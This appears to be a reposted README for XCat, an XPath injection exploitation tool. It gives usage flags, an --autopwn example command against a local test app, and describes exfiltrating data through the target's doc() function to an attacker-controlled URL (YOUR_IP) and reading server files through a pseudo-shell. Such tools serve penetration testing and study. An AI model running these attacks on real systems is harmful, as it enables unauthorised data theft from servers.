XCat - command line program that aides in the exploitation of XPath injection vulnerabilities

XCat is a command line program that aides in the exploitation of XPath injection vulnerabilities. It boasts a wide range of features and can utilize the more advanced features of the XPath 2.0 specification (pattern matching, unicode normilization and even http requests) or gracefully degrade to using XPath 1.0 if they are not available.

XCat is built to exploit boolean XPath injections (Where only one bit of data can be extracted in one request) and it requires you to manually identifiy the exploit first, this does not do that for you.

Features

Exploits both GET and POST attacks
Extracts all nodes, comments, attributes and data from the entire XML document
Small and lightweight (only dependency is Twisted)
Parallel requests
XPath 2.0 supported (with graceful degrading to 1.0)
Regex pattern matching to reduce character search space
Unicode normalization
Advanced data postback through HTTP (see below)
Arbitrarily read XML files on the servers file system via the doc() function (see below)
Arbitrarily read text files on the servers file system via crafted SYSTEM entities

Examples

If you run a windows machine you can install IronPython and start the example application (example_application/ironpython_site.py). The simplest command you can run on this site is:

python xcat.py --true "Book found" --arg "title=Bible" --method POST --autopwn http://localhost:80

You have to specify a condition keyword or HTTP status code (true, false, error), an argument for the attack to be appended to and a HTTP method to use. The --autopwn flag will make xcat automatically detect more exotic features (xpath version, quote character and various out of bound attacks).

Usage

usage: xcat.py [-h] [--method {GET,POST}] [--arg POST_ARGUMENT]
               [--true TRUE_KEYWORD | --false FALSE_KEYWORD | --error ERROR_KEYWORD]
               [--true-code TRUE_CODE | --false-code FAIL_CODE | --error-code ERROR_CODE]
               [--autopwn] [--schema-only] [--quotecharacter QUOTE_CHARACTER]
               [--executequery EXECUTEQUERY] [--max_search SEARCH_LIMIT]
               [--timeout TIMEOUT] [--stepsize STEP_SIZE]
               [--normalize {NFD,NFC,NFDK,NFKC}] [--xversion {1,2,auto}]
               [--lowercase] [--regex] [--connectback CONNECTBACK]
               [--notfoundstring NOTFOUNDCHAR] [--fileshell] [--getcwd]
               [--useragent USER_AGENT] [--timeit] [--ignorecomments]
               [--codepointstart CODEPOINTSTART]
               URL

Simple usage with the example application

Check out the readme to try out XCat with the provided example application.

HTTP Postback / doc function

Possibly the most advanced feature of XCat is its 'HTTP postback' feature. The XPath 2.0 schema defines a function called doc which allows the programmer to load external documents from the file system or even from a remote network resource via HTTP/HTTPS. If the doc function is enabled and working then XCat will use it where possible to greatly speed up document retrieval times. It does this by running a small HTTP server within the program which listens on a specified port and by then calling the doc() function with the currently targetted node's data URI encoded and appended to a query. This means the XPath library will make a HTTP request to your IP (requires the port to be forwarded and/or a public IP) in the following format:

http://YOUR_IP/?q=some%20data%20goes%here

This is far more efficient than iterating over the string character by character and can greatly reduce the retrieval times.

You can (ab)use this function to load XML file on the system, as long as you have read permissions over it, allowing you to retrieve lots of lovely XML configuration files - you can jump into a pseudo-shell within XCat by using the --fileshell flag and enter any file path.

Download -

https://github.com/orf/xcat/archive/master.zip
git-
https://github.com/orf/xcat.git

Source-

https://github.com/orf/xcat

Screenshot-